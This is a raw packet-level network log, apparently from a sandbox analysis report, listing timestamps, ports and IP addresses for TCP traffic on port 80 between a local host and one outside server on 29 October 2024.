Oct 29, 2024 04:17:22.863190889 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.863212109 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.863230944 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.863235950 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.863250971 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.863266945 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.863275051 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.863285065 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.863308907 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.863325119 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.863337994 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.863359928 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.863379955 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.863394022 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.863399982 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.863415003 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.863436937 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.863442898 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.863451004 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.863464117 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.863473892 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.863487005 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.863502026 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.863513947 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.863527060 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.863535881 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.863548040 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.863560915 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.863571882 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.863591909 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.863598108 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.863606930 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.863620043 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.863630056 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.863643885 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.863652945 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.863663912 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.863676071 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.863696098 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.863704920 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.863718987 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.863734961 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.863742113 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.863759995 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.863765955 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.863773108 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.863791943 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.863802910 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.863817930 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.863835096 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.863842010 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.863851070 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.863866091 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.863876104 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.863887072 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.863897085 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.863909960 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.863920927 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.863934040 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.863945007 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.863957882 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.863967896 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.863986015 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.863991976 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.864005089 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.864020109 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.864039898 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.864047050 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.864067078 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.864118099 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.864161015 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.864176035 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.864197016 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.864203930 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.864217043 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.864228010 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.864237070 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.864286900 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.864300966 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.864309072 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.864325047 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.864336014 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.864348888 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.864363909 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.864372015 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.864387035 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.864397049 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.864412069 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.864423037 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.864449024 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.864459991 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.864474058 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.864490032 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.864500046 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.864511967 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.864521980 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.864531040 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.864553928 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.864562035 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.864574909 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.864605904 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.864622116 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.864630938 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.864645958 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.864655972 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.864670038 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.864681005 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.864694118 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.864705086 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.864717960 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.864727020 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.864741087 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.864751101 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.864763021 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.864774942 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.864787102 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.864795923 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.864809036 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.864828110 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.864835024 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.864842892 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.864856005 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.864871025 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.864880085 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.864900112 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.864907026 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.864912987 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.864926100 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.864934921 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.864948034 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.864962101 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.864973068 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.864980936 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.865000963 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.865011930 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.865032911 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.865041971 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.865056992 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.865075111 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.865081072 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.865096092 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.865103006 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.865113020 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.865124941 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.865140915 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.865149975 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.865170956 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.865186930 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.894258976 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.894294977 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.894356966 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.894370079 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.894411087 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.968730927 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.968807936 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.968902111 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.968974113 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.968997002 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.969018936 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.969052076 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.969084978 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.969111919 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.969140053 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.969181061 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.969227076 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.969271898 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.969302893 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.969347954 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.969374895 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.969418049 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.969445944 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.969511032 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.969537020 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.969585896 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.969608068 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.969654083 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.969677925 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.969722033 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.969748020 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.969791889 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.969818115 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.969867945 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.969909906 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.969929934 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.969957113 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.970000029 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.970027924 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.970062017 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.970082045 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.970112085 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.970136881 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.970161915 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.970187902 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.970221996 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.970243931 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.970268965 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.970299006 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.970330954 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.970365047 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.970386028 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.970413923 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.970438004 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.970472097 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.970514059 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.970527887 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.970556974 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.970582008 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.970614910 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.970634937 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.970659018 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.970685959 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.970717907 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.970751047 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.970772028 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.970793009 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.970819950 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.970861912 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.970875978 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.970904112 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.970928907 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.970973969 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.970988035 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.971021891 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.971039057 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.971072912 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.971095085 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.971127033 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.971148014 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.971182108 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.971203089 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.971235991 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.971251965 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.971285105 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.971338034 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.971354961 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.971389055 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.971415997 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.971443892 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.971467972 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.971502066 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.971524954 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.971564054 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.971576929 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.971606016 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.971628904 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.971661091 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.971751928 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.971774101 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.971802950 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.971826077 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.971859932 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.971888065 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.971908092 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.971930981 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.971960068 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.971992016 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.972012043 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.972033978 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.972062111 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.972095013 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.972127914 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.972146988 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.972168922 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.972196102 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.972224951 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.972244024 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.972266912 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.972295046 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.972337961 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.972352028 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.972389936 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.972404003 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.972431898 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.972456932 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.972486973 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.972527981 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.972542048 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.972568989 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.972596884 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.972629070 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.972650051 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.972672939 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.972702980 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.972744942 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.981472969 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.981537104 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.981551886 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.981601954 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.981651068 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.981673956 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.981774092 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.981791973 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.981837034 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.981867075 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.981914997 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.981936932 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.981987000 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.982021093 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.982040882 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.982064962 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.982093096 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.982120991 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.982140064 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.982163906 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.982189894 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.982223034 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.982243061 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.982269049 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.982292891 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.982333899 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.982347965 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.982374907 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.982399940 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.982434034 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.982461929 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.982481956 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.982507944 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.982539892 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.982584000 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.982597113 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.982628107 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.982661009 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.982681990 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.982707024 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.982731104 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.982764959 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.982784986 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.982808113 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.982831001 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.982862949 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.982896090 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.982917070 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.982947111 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.982968092 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.982994080 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.983021021 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.983050108 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.983076096 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.983095884 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.983124018 CET	80	49755	77.83.175.105	192.168.2.4
